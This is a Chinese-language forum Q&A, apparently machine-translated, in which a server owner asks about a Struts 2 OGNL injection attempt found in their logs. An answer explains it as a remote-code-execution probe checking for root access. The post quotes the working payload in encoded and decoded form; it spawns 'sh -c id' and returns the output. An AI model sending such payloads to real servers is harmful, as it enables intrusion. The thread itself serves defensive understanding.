这个黑客试图用这个Java代码做什么?
在我的web服务器的服务器日志中,我注意到一名黑客正在尝试以下操作:
https://[domain name]/index.action?action:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}
哪个URL解码为:
https://[domain name]/index.action?action:${#a=(new java.lang.processbuilder(new java.lang.string[]{'sh','-c','id'})).start(),#b=#a.getinputstream(),#c=new java.io.inputstreamreader(#b),#d=new java.io.bufferedreader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#matt.getwriter().println(#e),#matt.getwriter().flush(),#matt.getwriter().close()}
我的服务器不使用Java,但我试图了解这个黑客在这里试图做什么,以及为什么这可能是一个漏洞。毕竟,我不仅仅是一名开发人员,还需要知道如何保护服务器,包括不是由我设置的服务器
代码似乎启动了一个新进程,然后尝试从输入流中读取数据。我假设这是当前web会话的输入流
因为此攻击也会通过/login进行尝试。动作和其他各种URL以及不同的Java代码,我认为这是潜在的危险。但我无法解释为什么这很危险
当黑客试图查看它是否在运行WordPress、Magenta或其他已知系统时,特定域现在正受到攻击,并且还尝试了几种不同的攻击
但重要的是:该领域目前正在开发中,所有者仍然必须决定将使用哪些开发工具。选择是在Java和ASP-NET之间进行的,因此如果他选择Java,这种攻击是否危险
# 1 楼答案
我认为,它试图利用Struts 2中的RCE漏洞。一个坏的方法是,Freemarker将执行
${}
标记内的任何代码Freemarker代码启动一个进程来执行
id
,以查看服务器是否以root
的身份运行,从而提供对该框的完全访问权限。即使是易受攻击的Struts版本在这里也可能不太糟糕,因为攻击者可能不感兴趣,除非您是root
攻击者的程序有很多这些旧漏洞,这些漏洞可以在非常不安全的服务器上工作,但即使是简单的管理协议也可以防止这些业余攻击。只有在以root用户身份运行、使用旧版本的软件、使用弱密码或默认密码打开数据库服务器到internet等情况下,您才会受到攻击
无论您选择何种技术,都会存在安全问题,您需要遵守CVEs。例如,像Spring这样的现代Java框架有一些,但远程代码执行非常罕见,这就是这些攻击程序所寻找的